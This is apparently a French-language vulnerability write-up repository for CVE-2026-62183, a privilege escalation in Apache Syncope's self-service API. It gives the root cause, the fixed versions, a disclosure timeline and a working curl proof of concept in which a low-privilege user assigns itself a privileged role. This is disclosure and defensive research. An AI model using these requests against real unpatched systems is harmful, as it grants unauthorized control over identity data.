
Apache Syncope : élévation de privilèges via le self-service utilisateur
Improper Privilege Management (CWE-269) dans Apache Syncope. Un utilisateur authentifié à faibles privilèges peut s'octroyer des rôles arbitraires (ainsi que des appartenances à des groupes, des ressources externes et un nouveau realm) via l'API de libre-service utilisateur — des opérations qui exigent des habilitations administratives sur tout autre chemin de code — et devenir ainsi administrateur du référentiel d'identités.
Ce dépôt est la référence technique de la vulnérabilité : cause racine, preuve de concept confirmée à l'exécution et notes de reproduction. Le récit de la découverte est publié séparément (voir Write-up).
| CVE | CVE-2026-62183 |
| Éditeur / produit | Apache Software Foundation — Apache Syncope |
| Paquet concerné | org.apache.syncope.core:syncope-core-workflow-java |
| Classe | CWE-269 Improper Privilege Management (mécanisme : CWE-862 Missing Authorization) |
| Gravité | Important (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versions affectées | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corrigé dans | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x en fin de vie (EOL), pas de correctif |
| Confirmé sur | 3.0.16 (distribution autonome, JDK 17), domaine Master |
Le point d'API de mise à jour en libre-service utilisateur d'Apache Syncope, PATCH /users/self/{key}, n'exige que isAuthenticated(). La couche de logique partagée ignore le contrôle d'autorisation pour les opérations « self », tandis que le data binder continue d'appliquer les champs de requête privilégiés (roles, memberships, resources, auxClasses, realm). Le résultat est une élévation de privilèges directe : un utilisateur à faibles privilèges s'attribue un rôle privilégié et obtient immédiatement ses habilitations — y compris, avec un rôle suffisamment puissant, l'administration complète de tous les utilisateurs. Lorsque l'auto-inscription est activée, la même faille s'applique à doCreate, de sorte qu'un attaquant non authentifié peut créer un compte déjà privilégié.
La vulnérabilité s'applique lorsque l'un des adaptateurs de workflow utilisateur suivants est configuré (c'est à cela que l'avis de l'éditeur la limite) :
En production, le libre-service est normalement piloté via l'Enduser UI, qui n'expose pas l'affectation des rôles ; pour y parvenir, l'API REST Core doit être appelable par l'utilisateur à faibles privilèges. La preuve de concept ci-dessous, confirmée à l'exécution, utilise la Standalone Distribution, qu'Apache documente comme réservée à l'évaluation et qui embarque des données d'initialisation (l'utilisateur bellini, les rôles intégrés User manager / User reviewer) — ces données d'initialisation ne sont pas présentes dans un déploiement classique. Ce sont des contraintes honnêtes sur l'exploitabilité réelle, et non sur la validité de la faille.
Flux de requête pour PATCH /users/self/{key} :
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. Le point d'API n'autorise que « quelqu'un est-il connecté ? » — UserSelfLogic.update :
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Aucune habilitation (ni USER_UPDATE, ni périmètre rôle/realm) n'est requise.
2. Le contrôle d'autorisation est ignoré pour les opérations self — AbstractUserLogic.doUpdate :
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. Le binder applique les champs privilégiés quoi qu'il arrive — UserDataBinderImpl.update(...) applique les rôles ADD/DELETE, memberships(...) (groupes) et fill(...) (ressources / realm) directement depuis la requête, sans contrôle des privilèges de l'appelant — ce contrôle est censé se trouver dans la couche Logic que l'étape 2 ignore. Le chemin administratif (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) exécute bien securityChecks ; le chemin self, non.
Le rôle octroyé prend effet à l'authentification : AuthDataAccessor.getUserAuthorities(user) parcourt userDAO.findAllRoles(user) et fusionne les habilitations de chaque rôle ; le rôle auto-attribué est donc actif dès la requête/connexion suivante de l'utilisateur. La même absence de contrôle (if (!self)) est présente dans doCreate, ce qui étend la faille à l'auto-inscription.
En résumé : deux couches ont chacune supposé que l'autre appliquait le contrôle de privilèges. Le point d'API déléguait l'autorisation à la couche Logic ; la couche Logic l'ignorait pour self ; le binder faisait confiance à la couche Logic pour avoir verrouillé les champs.
Un utilisateur authentifié ordinaire sans aucun rôle s'attribue le rôle privilégié intégré User manager (qui octroie USER_READ sur /) puis lit un compte arbitraire. Aucune action d'administrateur, aucune configuration particulière. Script complet : poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
Observé : [1] 403 → [2] 200 (rôles désormais ["User manager"]) → [3] 200. L'affectation persiste (confirmée via la vue administrateur de l'utilisateur). La même forme de requête permet également de s'auto-attribuer memberships (groupes), resources (déclenchant le provisionnement vers des systèmes externes) et un nouveau realm.
La preuve de concept n'utilise délibérément que des appels API légitimes et documentés pour démontrer la lacune d'autorisation. C'est une preuve minimale, pas un exploit industrialisé — voir Responsible use.
Voir BUILD.md pour une configuration d'exécution sans Docker ni Maven (Tomcat autonome + Temurin JDK 17) et les vérifications de disponibilité, puis :
B=http://localhost:9080/syncope/rest ./poc.sh
Tout utilisateur authentifié — y compris le compte de libre-service au privilège le plus faible — peut s'octroyer les habilitations de n'importe quel rôle défini. Avec un rôle porteur d'habilitations USER_* / administratives étendues, c'est la prise de contrôle du référentiel d'identités : lecture/modification/suppression de tous les utilisateurs, ainsi que le provisionnement de comptes vers des systèmes externes connectés via resources / memberships. Lorsque l'auto-inscription est activée, un attaquant non authentifié peut s'inscrire et obtenir immédiatement un état privilégié (PR:N, CVSS 9.8). Les habilitations concrètes obtenues dépendent des rôles réellement définis dans le déploiement cible.
Corrigé dans 4.0.7 / 4.1.2 via SYNCOPE-1983 (« Exiger l'approbation d'un administrateur pour les modifications en libre-service au-delà des attributs »). UserCR / UserUR se sont vu ajouter un prédicat requiresApproval() (vrai lorsqu'une requête touche aux rôles, aux appartenances, aux groupes, aux ressources, aux relations, aux comptes liés ou aux gestionnaires d'utilisateurs/groupes), et les adaptateurs de workflow font passer ces requêtes de libre-service par une approbation d'administrateur au lieu de les appliquer directement. 3.0.x est en fin de vie (EOL) et ne reçoit pas le correctif — les utilisateurs de 3.0.x concernés doivent migrer vers une branche prise en charge.
| Date (2026) | Événement |
|---|---|
| 28 juin | Signalé en privé à [email protected] avec l'analyse de la cause racine et une preuve de concept validée à l'exécution |
| 13 juil. | Le PMC d'Apache Syncope a confirmé ; CVE-2026-62183 réservée ; gravité évaluée importante |
| 20 juil. | Correctifs publiés (4.0.7 / 4.1.2) ; avis de l'éditeur et fiche CVE publiés |
Découvreurs crédités, selon la fiche CVE : Nic Jones (@NicPWNs) et elin kai. Ce dépôt documente l'analyse au niveau du code source et la preuve de concept confirmée à l'exécution apportées par Nic Jones.
Un récit de la recherche — la méthodologie, l'audit du projet Apache qui l'a mise au jour, et la manière dont elle a été confirmée à l'exécution — est disponible sur mon blog : Self-Service to Admin: A Privilege Escalation in Apache Syncope.
Ce contenu est publié à des fins défensives et pédagogiques, après divulgation coordonnée et publication des versions corrigées. La preuve de concept n'utilise que des appels API légitimes pour démontrer la faille d'autorisation ; ce n'est pas un outil d'exploitation massive. Ne l'utilisez pas contre des systèmes que vous n'êtes pas autorisé à tester. Si vous exécutez Apache Syncope, mettez à niveau vers 4.0.7 / 4.1.2 (ou quittez la branche 3.0.x).